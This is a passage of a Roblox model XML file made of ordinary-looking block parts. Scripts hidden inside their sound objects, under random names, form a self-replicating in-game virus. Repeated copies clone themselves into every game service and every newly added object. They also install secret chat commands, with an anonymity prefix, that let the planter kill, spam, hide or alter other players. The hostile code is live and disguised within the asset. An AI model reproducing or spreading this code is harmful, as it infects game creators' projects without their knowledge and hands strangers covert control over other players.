talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX805">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">27</int>
				<CoordinateFrame name="CFrame">
					<X>-189</X>
					<Y>19.1999989</Y>
					<Z>-11.5</Z>
					<R00>-2.20156107e-008</R00>
					<R01>-3.97058017e-007</R01>
					<R02>-1</R02>
					<R10>-2.78607786e-007</R10>
					<R11>1</R11>
					<R12>3.97058017e-007</R12>
					<R20>1</R20>
					<R21>-2.78607786e-007</R21>
					<R22>2.20156107e-008</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>1.20000005</Y>
					<Z>4</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX806">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">nfmrln</string>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX807">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">zqnh9fn</string>
						<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX808">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">27</int>
				<CoordinateFrame name="CFrame">
					<X>-194</X>
					<Y>24.1999989</Y>
					<Z>-11.5</Z>
					<R00>-2.21877742e-011</R00>
					<R01>-2.30057112e-010</R01>
					<R02>-1</R02>
					<R10>1.15336985e-011</R10>
					<R11>1</R11>
					<R12>2.30057112e-010</R12>
					<R20>1</R20>
					<R21>1.15336985e-011</R21>
					<R22>2.21877742e-011</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>1.20000005</Y>
					<Z>4</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX809">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">nfmrln</string>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX810">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">zqnh9fn</string>
						<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
